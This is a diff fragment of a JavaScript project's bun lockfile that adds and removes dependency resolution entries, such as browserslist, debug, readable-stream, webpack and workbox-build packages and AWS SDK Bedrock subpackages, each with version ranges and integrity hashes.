+ "postcss-preset-env/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-reduce-initial/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "postcss-selector-not/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
"pretty-format/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
"pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -6641,8 +6115,6 @@
"read-cache/pify": ["pify@2.3.0", "", {}, "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog=="],
- "readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
-
"readdirp/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
"regjsparser/jsesc": ["jsesc@3.0.2", "", { "bin": "bin/jsesc" }, "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g=="],
@@ -6661,14 +6133,10 @@
"remark-supersub/unist-util-visit": ["unist-util-visit@4.1.2", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0", "unist-util-visit-parents": "^5.1.1" } }, "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg=="],
- "require-in-the-middle/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"resolve-cwd/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="],
- "rollup/@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
-
"rollup-plugin-postcss/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"rollup-plugin-typescript2/@rollup/pluginutils": ["@rollup/pluginutils@4.2.1", "", { "dependencies": { "estree-walker": "^2.0.1", "picomatch": "^2.2.2" } }, "sha512-iKnFXr7NkdZAIHiIWE+BX5ULi/ucVFYWD6TbAV+rZctiRTY2PL6tsIKhoIOaoskiWAkgu+VsbXgUVDNLHf+InQ=="],
@@ -6679,13 +6147,7 @@
"rollup-pluginutils/estree-walker": ["estree-walker@0.6.1", "", {}, "sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w=="],
- "router/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "safe-array-concat/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
-
- "safe-push-apply/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
-
- "send/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "schema-utils/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
"sharp/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -6699,10 +6161,6 @@
"static-browser-server/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "stream-browserify/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
-
- "stream-http/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
-
"string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="],
"string-width-cjs/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="],
@@ -6715,8 +6173,6 @@
"sucrase/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "superagent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"superagent/mime": ["mime@2.6.0", "", { "bin": "cli.js" }, "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="],
"superagent/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
@@ -6725,16 +6181,10 @@
"svgo/css-select": ["css-select@4.3.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.0.1", "domhandler": "^4.3.1", "domutils": "^2.8.0", "nth-check": "^2.0.1" } }, "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ=="],
- "svgo/sax": ["sax@1.5.0", "", {}, "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA=="],
-
- "swr/use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="],
-
"tailwindcss/arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="],
"tailwindcss/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
- "tailwindcss/postcss": ["postcss@8.5.3", "", { "dependencies": { "nanoid": "^3.3.8", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A=="],
-
"tailwindcss/postcss-load-config": ["postcss-load-config@4.0.2", "", { "dependencies": { "lilconfig": "^3.0.0", "yaml": "^2.3.4" }, "peerDependencies": { "postcss": ">=8.0.9", "ts-node": ">=9.0.0" } }, "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ=="],
"tailwindcss/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
@@ -6743,11 +6193,17 @@
"terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
+ "terser-webpack-plugin/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+
+ "terser-webpack-plugin/jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="],
+
"test-exclude/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
- "test-exclude/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+ "tinyglobby/fdir": ["fdir@6.4.4", "", { "peerDependencies": { "picomatch": "^3 || ^4" } }, "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg=="],
- "to-buffer/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
+ "tinyglobby/picomatch": ["picomatch@4.0.2", "", {}, "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg=="],
+
+ "ts-node/diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
"tsconfig-paths/json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": "lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="],
@@ -6769,19 +6225,19 @@
"vasync/verror": ["verror@1.10.0", "", { "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw=="],
- "verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
-
"vfile-location/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
"vfile-location/vfile": ["vfile@5.3.7", "", { "dependencies": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^3.0.0", "vfile-message": "^3.0.0" } }, "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g=="],
- "which-builtin-type/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
+ "webpack/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "winston/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
+ "webpack/eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="],
+
+ "webpack/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
"winston-daily-rotate-file/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
- "winston-transport/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
+ "workbox-build/@babel/preset-env": ["@babel/preset-env@7.23.9", "", { "dependencies": { "@babel/compat-data": "^7.23.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.23.5", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", "@babel/plugin-syntax-import-assertions": "^7.23.3", "@babel/plugin-syntax-import-attributes": "^7.23.3", "@babel/plugin-syntax-import-meta": "^7.10.4", "@babel/plugin-syntax-json-strings": "^7.8.3", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", "@babel/plugin-syntax-numeric-separator": "^7.10.4", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.23.3", "@babel/plugin-transform-async-generator-functions": "^7.23.9", "@babel/plugin-transform-async-to-generator": "^7.23.3", "@babel/plugin-transform-block-scoped-functions": "^7.23.3", "@babel/plugin-transform-block-scoping": "^7.23.4", "@babel/plugin-transform-class-properties": "^7.23.3", "@babel/plugin-transform-class-static-block": "^7.23.4", "@babel/plugin-transform-classes": "^7.23.8", "@babel/plugin-transform-computed-properties": "^7.23.3", "@babel/plugin-transform-destructuring": "^7.23.3", "@babel/plugin-transform-dotall-regex": "^7.23.3", "@babel/plugin-transform-duplicate-keys": "^7.23.3", "@babel/plugin-transform-dynamic-import": "^7.23.4", "@babel/plugin-transform-exponentiation-operator": "^7.23.3", "@babel/plugin-transform-export-namespace-from": "^7.23.4", "@babel/plugin-transform-for-of": "^7.23.6", "@babel/plugin-transform-function-name": "^7.23.3", "@babel/plugin-transform-json-strings": "^7.23.4", "@babel/plugin-transform-literals": "^7.23.3", "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", "@babel/plugin-transform-member-expression-literals": "^7.23.3", "@babel/plugin-transform-modules-amd": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-modules-systemjs": "^7.23.9", "@babel/plugin-transform-modules-umd": "^7.23.3", "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", "@babel/plugin-transform-new-target": "^7.23.3", "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", "@babel/plugin-transform-numeric-separator": "^7.23.4", "@babel/plugin-transform-object-rest-spread": "^7.23.4", "@babel/plugin-transform-object-super": "^7.23.3", "@babel/plugin-transform-optional-catch-binding": "^7.23.4", "@babel/plugin-transform-optional-chaining": "^7.23.4", "@babel/plugin-transform-parameters": "^7.23.3", "@babel/plugin-transform-private-methods": "^7.23.3", "@babel/plugin-transform-private-property-in-object": "^7.23.4", "@babel/plugin-transform-property-literals": "^7.23.3", "@babel/plugin-transform-regenerator": "^7.23.3", "@babel/plugin-transform-reserved-words": "^7.23.3", "@babel/plugin-transform-shorthand-properties": "^7.23.3", "@babel/plugin-transform-spread": "^7.23.3", "@babel/plugin-transform-sticky-regex": "^7.23.3", "@babel/plugin-transform-template-literals": "^7.23.3", "@babel/plugin-transform-typeof-symbol": "^7.23.3", "@babel/plugin-transform-unicode-escapes": "^7.23.3", "@babel/plugin-transform-unicode-property-regex": "^7.23.3", "@babel/plugin-transform-unicode-regex": "^7.23.3", "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "core-js-compat": "^3.31.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A=="],
"workbox-build/@rollup/plugin-replace": ["@rollup/plugin-replace@2.4.2", "", { "dependencies": { "@rollup/pluginutils": "^3.1.0", "magic-string": "^0.25.7" }, "peerDependencies": { "rollup": "^1.20.0 || ^2.0.0" } }, "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg=="],
@@ -6789,7 +6245,7 @@
"workbox-build/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="],
- "workbox-build/glob": ["glob@11.1.0", "", { "dependencies": { "foreground-child": "^3.3.1", "jackspeak": "^4.1.1", "minimatch": "^10.1.1", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^2.0.0" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw=="],
+ "workbox-build/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
"workbox-build/pretty-bytes": ["pretty-bytes@5.6.0", "", {}, "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg=="],
@@ -6837,8 +6293,6 @@
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6863,12 +6317,6 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
-
